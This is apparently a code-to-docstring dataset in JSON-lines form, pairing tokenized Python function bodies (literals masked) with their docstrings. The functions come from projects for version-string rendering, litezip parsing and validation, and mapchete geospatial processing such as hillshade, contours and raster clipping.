{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f12746:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f12746:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f12746:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f12746:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f12746:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f12746:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f12746:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f12746:m16"}
{"signature": "def _parse_document_id(elm_tree):", "body": "xpath = '<STR_LIT>'<EOL>return [x for x in elm_tree.xpath(xpath, namespaces=COLLECTION_NSMAP)][<NUM_LIT:0>]<EOL>", "docstring": "Given the parsed xml to an `ElementTree`,\n    parse the id from the content.", "id": "f12747:m0"}
{"signature": "def _find_resources(directory, excludes=[]):", "body": "return sorted([r for r in directory.glob('<STR_LIT:*>')<EOL>if True not in [e(r) for e in excludes]])<EOL>", "docstring": "Return a list of resource paths from the directory.\n    Ignore records via the list of `excludes`,\n    which are callables that take a file parameter (as a `Path` instance).", "id": "f12747:m1"}
{"signature": "def parse_module(path, excludes=None):", "body": "file = path / MODULE_FILENAME<EOL>if not file.exists():<EOL><INDENT>raise MissingFile(file)<EOL><DEDENT>id = _parse_document_id(etree.parse(file.open()))<EOL>excludes = excludes or []<EOL>excludes.extend([<EOL>lambda filepath: filepath.name == MODULE_FILENAME,<EOL>])<EOL>resources_paths = _find_resources(path, excludes=excludes)<EOL>resources = tuple(_resource_from_path(res) for res in resources_paths)<EOL>return Module(id, file, resources)<EOL>", "docstring": "Parse the file structure to a data structure given the path to\n    a module directory.", "id": "f12747:m4"}
{"signature": "def parse_collection(path, excludes=None):", "body": "file = path / COLLECTION_FILENAME<EOL>if not file.exists():<EOL><INDENT>raise MissingFile(file)<EOL><DEDENT>id = _parse_document_id(etree.parse(file.open()))<EOL>excludes = excludes or []<EOL>excludes.extend([<EOL>lambda filepath: filepath.name == COLLECTION_FILENAME,<EOL>lambda filepath: filepath.is_dir(),<EOL>])<EOL>resources_paths = _find_resources(path, excludes=excludes)<EOL>resources = tuple(_resource_from_path(res) for res in resources_paths)<EOL>return Collection(id, file, resources)<EOL>", "docstring": "Parse a file structure to a data structure given the path to\n    a collection directory.", "id": "f12747:m5"}
{"signature": "def parse_litezip(path):", "body": "struct = [parse_collection(path)]<EOL>struct.extend([parse_module(x) for x in path.iterdir()<EOL>if x.is_dir() and x.name.startswith('<STR_LIT:m>')])<EOL>return tuple(sorted(struct))<EOL>", "docstring": "Parse a litezip file structure to a data structure given the path\n    to the litezip directory.", "id": "f12747:m6"}
{"signature": "def _arg_parser():", "body": "description = \"<STR_LIT>\"<EOL>parser = argparse.ArgumentParser(description=description)<EOL>verbose_group = parser.add_mutually_exclusive_group()<EOL>verbose_group.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>dest='<STR_LIT>', default=None,<EOL>help=\"<STR_LIT>\")<EOL>verbose_group.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT>',<EOL>dest='<STR_LIT>', default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>'<STR_LIT:location>',<EOL>help=\"<STR_LIT>\")<EOL>return parser<EOL>", "docstring": "Factory for creating the argument parser", "id": "f12750:m0"}
{"signature": "def _arg_parser():", "body": "description = \"<STR_LIT>\"<EOL>parser = argparse.ArgumentParser(description=description)<EOL>verbose_group = parser.add_mutually_exclusive_group()<EOL>verbose_group.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>dest='<STR_LIT>', default=None,<EOL>help=\"<STR_LIT>\")<EOL>verbose_group.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT>',<EOL>dest='<STR_LIT>', default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>'<STR_LIT:location>',<EOL>help=\"<STR_LIT>\")<EOL>return parser<EOL>", "docstring": "Factory for creating the argument parser", "id": "f12751:m0"}
{"signature": "def is_valid_identifier(id):", "body": "return VALID_ID_REGEX.match(id) is not None<EOL>", "docstring": "Validate that the given `id`.", "id": "f12752:m0"}
{"signature": "def validate_content(*objs):", "body": "from .main import Collection, Module<EOL>validator = {<EOL>Collection: cnxml.validate_collxml,<EOL>Module: cnxml.validate_cnxml,<EOL>}[type(objs[<NUM_LIT:0>])]<EOL>return validator(*[obj.file for obj in objs])<EOL>", "docstring": "Runs the correct validator for given `obj`ects. Assumes all same type", "id": "f12752:m1"}
{"signature": "def validate_litezip(struct):", "body": "msgs = []<EOL>def _fmt_err(err):<EOL><INDENT>return (Path(err.filename), \"<STR_LIT>\".format(*(err[<NUM_LIT:1>:])))<EOL><DEDENT>obj_by_type = {}<EOL>for obj in struct:<EOL><INDENT>if not is_valid_identifier(obj.id):<EOL><INDENT>msg = (obj.file.parent,<EOL>\"<STR_LIT>\".format(obj.id),)<EOL>logger.info(\"<STR_LIT>\".format(*msg))<EOL>msgs.append(msg)<EOL><DEDENT>obj_by_type.setdefault(type(obj), []).append(obj)<EOL><DEDENT>for obtype in obj_by_type:<EOL><INDENT>content_msgs = list([_fmt_err(err) for err in<EOL>validate_content(*obj_by_type[obtype])])<EOL>for msg in content_msgs:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(*msg))<EOL><DEDENT>msgs.extend(content_msgs)<EOL><DEDENT>return msgs<EOL>", "docstring": "Validate the given litezip as `struct`.\n    Returns a list of validation messages.", "id": "f12752:m2"}
{"signature": "def convert_completezip(path):", "body": "for filepath in path.glob('<STR_LIT>'):<EOL><INDENT>filepath.rename(filepath.parent / '<STR_LIT>')<EOL>logger.debug('<STR_LIT>'.format(filepath))<EOL><DEDENT>for filepath in path.glob('<STR_LIT>'):<EOL><INDENT>filepath.unlink()<EOL><DEDENT>return parse_litezip(path)<EOL>", "docstring": "Converts a completezip file structure to a litezip file structure.\n    Returns a litezip data structure.", "id": "f12753:m0"}
{"signature": "def configure_logging(config):", "body": "dictConfig(config)<EOL>", "docstring": "Configure logging given a dictified configuration.", "id": "f12755:m0"}
{"signature": "def orthogonal(shape, scale=<NUM_LIT>):", "body": "flat_shape = (shape[<NUM_LIT:0>], np.prod(shape[<NUM_LIT:1>:]))<EOL>a = np.random.normal(<NUM_LIT:0.0>, <NUM_LIT:1.0>, flat_shape)<EOL>u, _, v = np.linalg.svd(a, full_matrices=False)<EOL>q = u if u.shape == flat_shape else v <EOL>q = q.reshape(shape)<EOL>return sharedX(scale * q[:shape[<NUM_LIT:0>], :shape[<NUM_LIT:1>]])<EOL>", "docstring": "benanne lasagne ortho init (faster than qr approach)", "id": "f12769:m2"}
{"signature": "def fit(self, trX, trY, batch_size=<NUM_LIT:64>, n_epochs=<NUM_LIT:1>, len_filter=LenFilter(), snapshot_freq=<NUM_LIT:1>, path=None):", "body": "if len_filter is not None:<EOL><INDENT>trX, trY = len_filter.filter(trX, trY)<EOL><DEDENT>trY = standardize_targets(trY, cost=self.cost)<EOL>n = <NUM_LIT:0.><EOL>t = time()<EOL>costs = []<EOL>for e in range(n_epochs):<EOL><INDENT>epoch_costs = []<EOL>for xmb, ymb in self.iterator.iterXY(trX, trY):<EOL><INDENT>c = self._train(xmb, ymb)<EOL>epoch_costs.append(c)<EOL>n += len(ymb)<EOL>if self.verbose >= <NUM_LIT:2>:<EOL><INDENT>n_per_sec = n / (time() - t)<EOL>n_left = len(trY) - n % len(trY)<EOL>time_left = n_left/n_per_sec<EOL>sys.stdout.write(\"<STR_LIT>\" % (e, n, np.mean(epoch_costs[-<NUM_LIT>:]), time_left))<EOL>sys.stdout.flush()<EOL><DEDENT><DEDENT>costs.extend(epoch_costs)<EOL>status = \"<STR_LIT>\" % (e, n, np.mean(epoch_costs[-<NUM_LIT>:]), time() - t)<EOL>if self.verbose >= <NUM_LIT:2>:<EOL><INDENT>sys.stdout.write(\"<STR_LIT:\\r>\"+status)<EOL>sys.stdout.flush()<EOL>sys.stdout.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>elif self.verbose == <NUM_LIT:1>:<EOL><INDENT>print(status)<EOL><DEDENT>if path and e % snapshot_freq == <NUM_LIT:0>:<EOL><INDENT>save(self, \"<STR_LIT>\".format(path, e))<EOL><DEDENT><DEDENT>return costs<EOL>", "docstring": "Train model on given training examples and return the list of costs after each minibatch is processed.\n\n        Args:\n          trX (list) -- Inputs\n          trY (list) -- Outputs\n          batch_size (int, optional) -- number of examples in a minibatch (default 64)\n          n_epochs (int, optional)  -- number of epochs to train for (default 1)\n          len_filter (object, optional) -- object to filter training example by length (default LenFilter())\n          snapshot_freq (int, optional) -- number of epochs between saving model snapshots (default 1)\n          path (str, optional) -- prefix of path where model snapshots are saved.\n            If None, no snapshots are saved (default None)\n\n        Returns:\n          list -- costs of model after processing each minibatch", "id": "f12771:c0:m1"}
{"signature": "def __init__(self, **kwargs):", "body": "<EOL>MapcheteProcess.__init__(self, **kwargs)<EOL>self.identifier = \"<STR_LIT>\",<EOL>self.title = \"<STR_LIT>\",<EOL>self.version = \"<STR_LIT>\",<EOL>self.abstract = \"<STR_LIT>\"<EOL>", "docstring": "Process initialization.", "id": "f12776:c0:m0"}
{"signature": "def execute(mp):", "body": "assert <NUM_LIT:0><EOL>", "docstring": "User defined process.", "id": "f12777:m0"}
{"signature": "def execute(mp):", "body": "<EOL>with mp.open(\"<STR_LIT>\", resampling=\"<STR_LIT>\") as raster_file:<EOL><INDENT>if raster_file.is_empty():<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>dem = raster_file.read()<EOL><DEDENT>tags = {<EOL><NUM_LIT:1>: {\"<STR_LIT>\": True},<EOL>\"<STR_LIT>\": \"<STR_LIT:value>\"}<EOL>return dem, tags<EOL>", "docstring": "User defined process.", "id": "f12778:m0"}
{"signature": "def execute(<EOL>mp,<EOL>some_float_parameter,<EOL>some_string_parameter,<EOL>some_integer_parameter,<EOL>some_bool_parameter<EOL>):", "body": "assert some_integer_parameter == <NUM_LIT:12><EOL>assert some_float_parameter == <NUM_LIT><EOL>assert some_string_parameter == '<STR_LIT>'<EOL>assert some_bool_parameter is True<EOL>return \"<STR_LIT>\"<EOL>", "docstring": "User defined process.", "id": "f12779:m0"}
{"signature": "def execute():", "body": "pass<EOL>", "docstring": "Function needs to have exactly one argument.", "id": "f12781:m0"}
{"signature": "def execute(mp):", "body": "<EOL>with mp.open(mp.params[\"<STR_LIT:input>\"][\"<STR_LIT>\"]) as vector_file:<EOL><INDENT>return [<EOL>dict(<EOL>geometry=feature[\"<STR_LIT>\"],<EOL>properties=dict(<EOL>name=feature[\"<STR_LIT>\"].get(\"<STR_LIT>\", None),<EOL>id=feature[\"<STR_LIT>\"].get(\"<STR_LIT>\", None),<EOL>area=shape(feature[\"<STR_LIT>\"]).area<EOL>)<EOL>)<EOL>for feature in vector_file.read()<EOL>]<EOL><DEDENT>", "docstring": "User defined process.", "id": "f12782:m0"}
{"signature": "def execute(mp):", "body": "<EOL>with mp.open(\"<STR_LIT>\", resampling=\"<STR_LIT>\") as raster_file:<EOL><INDENT>if raster_file.is_empty():<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>dem = raster_file.read()<EOL><DEDENT>return mp.hillshade(dem).astype(\"<STR_LIT>\")<EOL>", "docstring": "User defined process.", "id": "f12783:m0"}
{"signature": "def execute(mp):", "body": "return <NUM_LIT:1><EOL>", "docstring": "User defined process.", "id": "f12785:m0"}
{"signature": "def _worker(mp, tile):", "body": "return tile, mp.execute(tile)<EOL>", "docstring": "Multiprocessing worker processing a tile.", "id": "f12793:m15"}
{"signature": "def execute(mp):", "body": "<EOL>with mp.open(\"<STR_LIT>\", resampling=\"<STR_LIT>\") as raster_file:<EOL><INDENT>if raster_file.is_empty():<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>dem = raster_file.read()<EOL><DEDENT>return dem<EOL>", "docstring": "User defined process.", "id": "f12796:m0"}
{"signature": "def extract_contours(array, tile, interval=<NUM_LIT:100>, field='<STR_LIT>', base=<NUM_LIT:0>):", "body": "import matplotlib.pyplot as plt<EOL>levels = _get_contour_values(<EOL>array.min(), array.max(), interval=interval, base=base)<EOL>if not levels:<EOL><INDENT>return []<EOL><DEDENT>contours = plt.contour(array, levels)<EOL>index = <NUM_LIT:0><EOL>out_contours = []<EOL>for level in range(len(contours.collections)):<EOL><INDENT>elevation = levels[index]<EOL>index += <NUM_LIT:1><EOL>paths = contours.collections[level].get_paths()<EOL>for path in paths:<EOL><INDENT>out_coords = [<EOL>(<EOL>tile.left + (y * tile.pixel_x_size),<EOL>tile.top - (x * tile.pixel_y_size),<EOL>)<EOL>for x, y in zip(path.vertices[:, <NUM_LIT:1>], path.vertices[:, <NUM_LIT:0>])<EOL>]<EOL>if len(out_coords) >= <NUM_LIT:2>:<EOL><INDENT>out_contours.append(<EOL>dict(<EOL>properties={field: elevation},<EOL>geometry=mapping(LineString(out_coords))<EOL>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return out_contours<EOL>", "docstring": "Extract contour lines from an array.\n\nParameters\n----------\narray : array\n    input elevation data\ntile : Tile\n    tile covering the array\ninterval : integer\n    elevation value interval when drawing contour lines\nfield : string\n    output field name containing elevation value\nbase : integer\n    elevation base value the intervals are computed from\n\nReturns\n-------\ncontours : iterable\n    contours as GeoJSON-like pairs of properties and geometry", "id": "f12801:m0"}
{"signature": "def _get_contour_values(min_val, max_val, base=<NUM_LIT:0>, interval=<NUM_LIT:100>):", "body": "i = base<EOL>out = []<EOL>if min_val < base:<EOL><INDENT>while i >= min_val:<EOL><INDENT>i -= interval<EOL><DEDENT><DEDENT>while i <= max_val:<EOL><INDENT>if i >= min_val:<EOL><INDENT>out.append(i)<EOL><DEDENT>i += interval<EOL><DEDENT>return out<EOL>", "docstring": "Return a list of values between min and max within an interval.", "id": "f12801:m1"}
{"signature": "def calculate_slope_aspect(elevation, xres, yres, z=<NUM_LIT:1.0>, scale=<NUM_LIT:1.0>):", "body": "z = float(z)<EOL>scale = float(scale)<EOL>height, width = elevation.shape[<NUM_LIT:0>] - <NUM_LIT:2>, elevation.shape[<NUM_LIT:1>] - <NUM_LIT:2><EOL>window = [<EOL>z * elevation[row:(row + height), col:(col + width)]<EOL>for (row, col) in product(range(<NUM_LIT:3>), range(<NUM_LIT:3>))<EOL>]<EOL>x = (<EOL>(window[<NUM_LIT:0>] + window[<NUM_LIT:3>] + window[<NUM_LIT:3>] + window[<NUM_LIT:6>])<EOL>- (window[<NUM_LIT:2>] + window[<NUM_LIT:5>] + window[<NUM_LIT:5>] + window[<NUM_LIT:8>])<EOL>) / (<NUM_LIT> * xres * scale)<EOL>y = (<EOL>(window[<NUM_LIT:6>] + window[<NUM_LIT:7>] + window[<NUM_LIT:7>] + window[<NUM_LIT:8>])<EOL>- (window[<NUM_LIT:0>] + window[<NUM_LIT:1>] + window[<NUM_LIT:1>] + window[<NUM_LIT:2>])<EOL>) / (<NUM_LIT> * yres * scale)<EOL>slope = math.pi/<NUM_LIT:2> - np.arctan(np.sqrt(x*x + y*y))<EOL>aspect = np.arctan2(x, y)<EOL>return slope, aspect<EOL>", "docstring": "Calculate slope and aspect map.\n\nReturn a pair of arrays 2 pixels smaller than the input elevation array.\n\nSlope is returned in radians, from 0 for sheer face to pi/2 for\nflat ground. Aspect is returned in radians, counterclockwise from -pi\nat north around to pi.\n\nLogic here is borrowed from hillshade.cpp:\nhttp://www.perrygeo.net/wordpress/?p=7\n\nParameters\n----------\nelevation : array\n    input elevation data\nxres : float\n    column width\nyres : float\n    row  height\nz : float\n    vertical exaggeration factor\nscale : float\n    scale factor of pixel size units versus height units (insert 112000\n    when having elevation values in meters in a geodetic projection)\n\nReturns\n-------\nslope shade : array", "id": "f12802:m0"}
{"signature": "def hillshade(elevation, tile, azimuth=<NUM_LIT>, altitude=<NUM_LIT>, z=<NUM_LIT:1.0>, scale=<NUM_LIT:1.0>):", "body": "azimuth = float(azimuth)<EOL>altitude = float(altitude)<EOL>z = float(z)<EOL>scale = float(scale)<EOL>xres = tile.tile.pixel_x_size<EOL>yres = -tile.tile.pixel_y_size<EOL>slope, aspect = calculate_slope_aspect(<EOL>elevation, xres, yres, z=z, scale=scale)<EOL>deg2rad = math.pi / <NUM_LIT><EOL>shaded = np.sin(altitude * deg2rad) * np.sin(slope)+ np.cos(altitude * deg2rad) * np.cos(slope)* np.cos((azimuth - <NUM_LIT>) * deg2rad - aspect)<EOL>shaded = (((shaded+<NUM_LIT:1.0>)/<NUM_LIT:2>)*-<NUM_LIT>).astype(\"<STR_LIT>\")<EOL>return ma.masked_array(<EOL>data=np.pad(shaded, <NUM_LIT:1>, mode='<STR_LIT>'), mask=elevation.mask<EOL>)<EOL>", "docstring": "Return hillshaded numpy array.\n\nParameters\n----------\nelevation : array\n    input elevation data\ntile : Tile\n    tile covering the array\nz : float\n    vertical exaggeration factor\nscale : float\n    scale factor of pixel size units versus height units (insert 112000\n    when having elevation values in meters in a geodetic projection)", "id": "f12802:m1"}
{"signature": "def clip_array_with_vector(<EOL>array, array_affine, geometries, inverted=False, clip_buffer=<NUM_LIT:0><EOL>):", "body": "<EOL>buffered_geometries = []<EOL>for feature in geometries:<EOL><INDENT>feature_geom = to_shape(feature[\"<STR_LIT>\"])<EOL>if feature_geom.is_empty:<EOL><INDENT>continue<EOL><DEDENT>if feature_geom.geom_type == \"<STR_LIT>\":<EOL><INDENT>buffered_geom = unary_union([<EOL>g.buffer(clip_buffer) for g in feature_geom])<EOL><DEDENT>else:<EOL><INDENT>buffered_geom = feature_geom.buffer(clip_buffer)<EOL><DEDENT>if not buffered_geom.is_empty:<EOL><INDENT>buffered_geometries.append(buffered_geom)<EOL><DEDENT><DEDENT>if buffered_geometries:<EOL><INDENT>if array.ndim == <NUM_LIT:2>:<EOL><INDENT>return ma.masked_array(<EOL>array, geometry_mask(<EOL>buffered_geometries, array.shape, array_affine,<EOL>invert=inverted))<EOL><DEDENT>elif array.ndim == <NUM_LIT:3>:<EOL><INDENT>mask = geometry_mask(<EOL>buffered_geometries, (array.shape[<NUM_LIT:1>], array.shape[<NUM_LIT:2>]),<EOL>array_affine, invert=inverted)<EOL>return ma.masked_array(<EOL>array, mask=np.stack((mask for band in array)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fill = False if inverted else True<EOL>return ma.masked_array(<EOL>array, mask=np.full(array.shape, fill, dtype=bool))<EOL><DEDENT>", "docstring": "Clip input array with a vector list.\n\nParameters\n----------\narray : array\n    input raster data\narray_affine : Affine\n    Affine object describing the raster's geolocation\ngeometries : iterable\n    iterable of dictionaries, where every entry has a 'geometry' and\n    'properties' key.\ninverted : bool\n    invert clip (default: False)\nclip_buffer : integer\n    buffer (in pixels) geometries before clipping\n\nReturns\n-------\nclipped array : array", "id": "f12803:m0"}
{"signature": "def validate_values(config, values):", "body": "if not isinstance(config, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>for value, vtype in values:<EOL><INDENT>if value not in config:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % value)<EOL><DEDENT>if not isinstance(config[value], vtype):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (value, vtype))<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Validate whether value is found in config and has the right type.\n\nParameters\n----------\nconfig : dict\n    configuration dictionary\nvalues : list\n    list of (str, type) tuples of values and value types expected in config\n\nReturns\n-------\nTrue if config is valid.\n\nRaises\n------\nException if value is not found or has the wrong type.", "id": "f12805:m0"}
{"signature": "def get_hash(x):", "body": "if isinstance(x, str):<EOL><INDENT>return hash(x)<EOL><DEDENT>elif isinstance(x, dict):<EOL><INDENT>return hash(yaml.dump(x))<EOL><DEDENT>", "docstring": "Return hash of x.", "id": "f12805:m1"}
{"signature": "def get_zoom_levels(process_zoom_levels=None, init_zoom_levels=None):", "body": "process_zoom_levels = _validate_zooms(process_zoom_levels)<EOL>if init_zoom_levels is None:<EOL><INDENT>return process_zoom_levels<EOL><DEDENT>else:<EOL><INDENT>init_zoom_levels = _validate_zooms(init_zoom_levels)<EOL>if not set(init_zoom_levels).issubset(set(process_zoom_levels)):<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return init_zoom_levels<EOL><DEDENT>", "docstring": "Validate and return zoom levels.", "id": "f12805:m2"}
{"signature": "def snap_bounds(bounds=None, pyramid=None, zoom=None):", "body": "if not isinstance(bounds, (tuple, list)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(bounds) != <NUM_LIT:4>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(pyramid, BufferedTilePyramid):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>bounds = Bounds(*bounds)<EOL>lb = pyramid.tile_from_xy(bounds.left, bounds.bottom, zoom, on_edge_use=\"<STR_LIT>\").bounds<EOL>rt = pyramid.tile_from_xy(bounds.right, bounds.top, zoom, on_edge_use=\"<STR_LIT>\").bounds<EOL>return Bounds(lb.left, lb.bottom, rt.right, rt.top)<EOL>", "docstring": "Snaps bounds to tiles boundaries of specific zoom level.\n\nParameters\n----------\nbounds : bounds to be snapped\npyramid : TilePyramid\nzoom : int\n\nReturns\n-------\nBounds(left, bottom, right, top)", "id": "f12805:m3"}
